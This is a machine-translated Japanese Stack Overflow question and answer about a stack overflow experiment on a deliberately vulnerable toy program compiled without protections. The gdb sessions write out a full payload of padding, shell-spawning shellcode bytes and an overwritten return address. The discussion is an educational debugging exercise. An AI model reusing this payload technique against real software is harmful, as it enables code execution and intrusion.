1

aslr と nx を無効にして、スタック オーバーフローの実験を行っています。しかし、gdb は奇妙な結果を表示します。

環境:

Linux 3.7-trunk-686-pae #1 SMP Debian 3.7.2-0+kali5 i686 GNU/Linux

aslr を無効にします。

echo 0 > /proc/sys/kernel/randomize_va_space

ソースを execstatck でコンパイルしました (Debian には exec-shield という名前のカーネル パラメータがありません):

gcc 1.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2

問題の説明は次のとおりです。

(gdb) disas main
Dump of assembler code for function main:
   0x0804841c <+0>: push   %ebp
   0x0804841d <+1>: mov    %esp,%ebp
   0x0804841f <+3>: sub    $0x208,%esp
   0x08048425 <+9>: mov    0xc(%ebp),%eax
   0x08048428 <+12>:    add    $0x4,%eax
   0x0804842b <+15>:    mov    (%eax),%eax
   0x0804842d <+17>:    mov    %eax,0x4(%esp)
   0x08048431 <+21>:    lea    -0x200(%ebp),%eax
   0x08048437 <+27>:    mov    %eax,(%esp)
   0x0804843a <+30>:    call   0x8048300 <strcpy@plt>
   0x0804843f <+35>:    mov    $0x0,%eax
   0x08048444 <+40>:    leave  
   0x08048445 <+41>:    ret    
End of assembler dump.

(gdb) run `python -c 'print "A"*395 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*94 + "\x7d\xf8\xff\xba"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/xxx/tests/a.out `python -c 'print "A"*395 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*94 + "\x7d\xf8\xff\xba"'`

Program received signal SIGSEGV, Segmentation fault.
0xbafff87d in ?? ()

プログラムは 0xbafff87d に導かれ、クラッシュします。これは想定内です。

そこで、アドレスを 0xbafff87d からシェルコードのアドレス 0xbffff87d に変更します。

(gdb) run `python -c 'print "A"*395 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*94 + "\x7d\xf8\xff\xbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/xxx/tests/a.out `python -c 'print "A"*395 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*94 + "\x7d\xf8\xff\xbf"'`

Program received signal SIGSEGV, Segmentation fault.
0xbffff88d in ?? ()
(gdb) i r $eip
eip            0xbffff88d   0xbffff88d

しかし、プログラムは 0xbffff87d ではなく 0xbffff88d に導かれ、クラッシュしました。戻りアドレスの最後の 1 バイトが変更されています。なんで?

関数「leave」の前にブレークポイントを追加しようとしました (0x08048444 <+40>: leave ):

(gdb) b *0x08048444        
Breakpoint 1 at 0x8048444
#run the program with the large payload as above
Breakpoint 1, 0x08048444 in main ()
(gdb) x/2x $ebp 
0xbffff518: 0x41414141  0xbffff87d
#the return addr is indeed overwritten to 0xbffff87d
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xbffff88d in ?? ()

eip はまだ 0xbffff88d につながっています。

返品先住所が変更された理由と、いつ発生したかわかりません。

多分私はそこでいくつかの知識を見逃しています。上記の質問に加えて、gdb は、デバッグされたプログラムの実行結果を「キャッシュ」する場合があると思います。これは、パラメーターを既に変更しているときに、gdb が同じ結果を表示する場合があるためです。

前もって感謝します :)

=======

Leeorさんのコメントに回答するための更新:

また、gdb の外でもクラッシュします。セグメンテーション違反。コアダンプ ファイルは、segfaulted のときに eip が 0xbffff88b であることを示しています (上書きされた値は 0xbffff87d ですが、最後のバイトは変更されています)。

リターンアドレスを手動で上書きする:

(gdb) b *0x08048444                                 
Breakpoint 1 at 0x8048444                           
(gdb) run test                                      
Starting program: /home/xxx/tests/a.out test    

Breakpoint 1, 0x08048444 in main ()                 
(gdb) x/2x $ebp                                     
0xbffff718: 0xbffff798  0xb7e7ae46                  
(gdb) x/2 0xbffff71c                                
0xbffff71c: 0xb7e7ae46  0x00000002                  
(gdb) set *0xbffff71c=0xbffff87d                    
(gdb) x/2x $ebp                                     
0xbffff718: 0xbffff798  0xbffff87d                  
(gdb) c                                             
Continuing.                                         

Program received signal SIGSEGV, Segmentation fault.                                                                          
0xbffff87d in ?? ()          

これは私が期待したとおりに機能しています (パラメーター を使用して実行すると、0xbffff87d に有効なシェルコードがありませんtest。「不正な命令」エラーが発生した場合、gdb はまだセグメント違反であると通知することがわかりました)。

しかし、オーバーフローペイロードで実行している間はまだ機能していません:

(gdb) run `python -c 'print "A"*395 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*94 + "\x7d\xf8\xff\xbf"'`
Starting program: /home/xxx/tests/a.out `python -c 'print "A"*395 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*94 + "\x7d\xf8\xff\xbf"'`

Breakpoint 1, 0x08048444 in main ()
(gdb) x/2x $ebp
0xbffff508: 0x41414141  0xbffff87d
(gdb) set *0xbffff50c=0xbffff87d
(gdb) x/2x $ebp
0xbffff508: 0x41414141  0xbffff87d
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xbffff88b in ?? ()

戻りアドレスの最後のバイトが変更されます。

4

1 に答える 1

0

命令がたまたまクラッシュしないというだけで、実行は最初に正しいアドレスに行くと思います。次のいくつかを試してください。

  1. siの代わりに使用c
  2. ブレークポイントを置く0xbffff87d
  3. でコードを逆アセンブル0xbffff87d

アドレスはスタック上にあるため、スタック レイアウトが変更されると内容が異なる場合があります。コマンドライン引数もスタック上にあることに注意してください。そのため、実行とtest実際のペイロードでは異なるスタック レイアウトが使用されます。

于 2013-10-01T12:48:26.347 に答える